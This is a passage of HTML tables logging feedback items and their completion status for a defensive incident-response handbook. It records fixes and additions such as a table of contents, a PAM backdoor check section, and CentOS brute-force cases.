16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完善 profile 配置检查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-27 13:53</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">61. 完善处置流程，添加确认攻击信息准确性</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0061</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-19 18:30</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完善处置流程，添加确认攻击信息准确性</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-27 15:06</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">62. 完善处置流程，添加询问过往被攻击情况</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0062</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-12-25 17:05</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完善处置流程，添加询问过往被攻击情况</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-27 15:07</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">63. 给手册添加目录</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0063</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">retanoj、Dream等</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-27 20:25</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">Github Issue 及公众号留言</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">给手册加个目录</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-28 15:38</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">1. Windows 平台打开手册部分程序无法显示目录</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0001</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">AvenMay</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-10 16:36</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">公众号文章留言</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">Edge 等浏览器显示空白</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-01 22:30</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">2. 手册无法搜索、复制中文</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0002</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-11 17:36</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">手册无法搜索、复制中文</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-01 22:30</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">3.  常规安全检查添加 pam 后门部分</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0003</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 16:51</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">常规安全检查添加 pam 后门部分</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-30 21:57</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">4.  暴力破解章节加入 Centos 系案例</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0004</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 18:46</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">暴力破解章节加入 Centos 系案例</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-01 00:32</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">基本通用，只修改了小部分</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">5.  新增章节 —— 需要注意的问题</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0005</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-05-14 15:38</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加一个新章节，告诉大家需要注意的问题，例如 </span><code><span leaf="">rm ./*</span></code><span leaf=""> 是不会删除以 </span><code><span leaf="">.</span></code><span leaf=""> 开头的文件和文件夹的</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 23:40</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">6.  netstat 不显示pid情况 +1</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0006</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-05-14 15:38</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">netstat 不显示pid情况 +1</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px 